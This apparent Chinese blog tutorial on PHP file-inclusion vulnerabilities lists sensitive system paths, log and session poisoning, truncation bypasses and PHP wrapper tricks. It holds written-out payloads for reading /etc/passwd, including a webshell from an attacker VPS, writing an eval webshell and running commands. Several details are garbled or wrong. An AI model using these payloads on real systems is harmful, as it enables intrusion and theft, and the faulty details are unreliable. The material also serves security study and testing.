FileInclude

漏洞原理

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码

两种类型

  • 本地文件包含

  • 远程文件包含

    在默认情况下,allow_url_include是禁用的【需要开启】

危险函数

include、require、include_once、require_once

include、require区别

include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once,require_once区别

与前两个的不同之处在于这两个函数只包含一次

常见的敏感信息路径

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

本地文件包含

攻击者通过phpinfo()信息泄露或者猜测能获取到文件存放的位置

日志投毒/SSH投毒

#日志投毒
/var/loa/apache2/access.log
#SSH投毒
/var/log/auth.log

条件:文件必须有读的权限,否则无法投毒

session文件包含漏洞

分析

通过把恶意代码写入session文件中,之后访问该文件即可获得shell

文件位置

  1. phpinfo探针获取
  2. 猜解文件文件位置【linux默认/var/lib/php/session】

文件名称

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取

写入恶意代码

<?php
session_start();
$cmd=$_GET['cmd'];
$_SESSION["username"]=$cmd;
?>

利用

http://xxx/session.php?cmd=<?php phpinfo();?>

远程文件包含

条件:PHP的配置文件allow_url_fopen和allow_url_include设置为ON

绕过姿势

编码绕过

当服务端对…/和./进行过滤,可以通过编码进行绕过(url编码、URL二次编码、容器/服务器的编码方式等)。

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

http://xxx/file.php?filename=../../../../../etc/passwd%00

路径长度截断

利用条件: php版本<5.2.8。
一直重复目录字符串(./),在linux下4096字节时会达到最大值,在window下是256字节。windows在文件名后加/. 或 .都是可以的

http://xxx/file.php?filename=../../../../../../../../../../../../../../etc/passwd

点号截断

条件:windows OS,点号需要长于256

http://xxx/file.php?filename=test.txt..................................

问号、井号、空格截断

针对服务器添加后缀,可以在后面添加?和#。

http://xxx/file.php?filename=http://VPSIP/webshell.php%23
# %23为#编码

Base64编码

有些时候,当你无法读取PHP文件内容时,你也可以通过php协议通过base64编码进行输出:

php://filter/read=convert.base64-encode/resource=/etc/passwd

PHP伪协议

phar协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法

?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤
//1-写一个一句话木马文件shell.php,
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
//2-用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
//之所以改成png后缀,因为phar协议不管后缀是什么,都会当做压缩包来解压。而且也可以绕过一定的后缀限制
//3-调用(猜解文件路径,或者通过phpinfo()查看)
//相对路径:
http://target.com/index.php?file=phar://shell.png/shell.php
//绝对路径:
http://target.com/index.php?file=phar:///var/www/html/shell.png/shell.php

zip://伪协议

用法

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件

PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

步骤
//1-写一个一句话木马文件shell.php,
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
//2-用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
//之所以改成png后缀,因为phar协议不管后缀是什么,都会当做压缩包来解压。而且也可以绕过一定的后缀限制
//3-调用(猜解文件路径,或者通过phpinfo()查看)
//绝对路径:
http://target.com/index.php?file=phar:///var/www/html/shell.png%23shell.php

file://伪协议

访问本地文件系统,读取到文件的内容

http://target.com/index.php?file=file://etc/passwd

PHP://伪协议

php://filter(本地磁盘文件进行读取)

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

http://target.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
php://input
条件

enctype=“multipart/form-data” 的时候 php://input 是无效的。

读取POST数据

碰到目标代码中存在file_get_contents()就要想到用php://input绕过

//目标代码存在file_get_contents()
<?php
    echo file_get_contents("php://input");
?>
写入木马

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

//目标代码
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
//写入木马<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
http://target.com/index.php?file=php://input
//post 内容
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

//调用木马
http://target.com/index.php/shell.php
cmd=phpinfo()
命令执行

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30)

//目标代码
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
http://target.com/index.php?file=php://input
//post 内容
<?PHP system('whoami');?>

data://伪协议

条件:
  1. php版本 <= php5.2
  2. allow_url_fopen = On
  3. allow_url_include = On

和php伪协议的input类似,碰到file_get_contents()来用

//目标代码
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
http://target.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
//此处PD9waHAgcGhwaW5mbygpOw==为<?php phpinfo();base64编码结果
//不需要<?php phpinfo();? >编码,只需对<?php phpinfo();编码即可

文件包含漏洞利用工具

LFISuite
LFI Scan

参考链接

文件包含
文件包含
文件包含

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值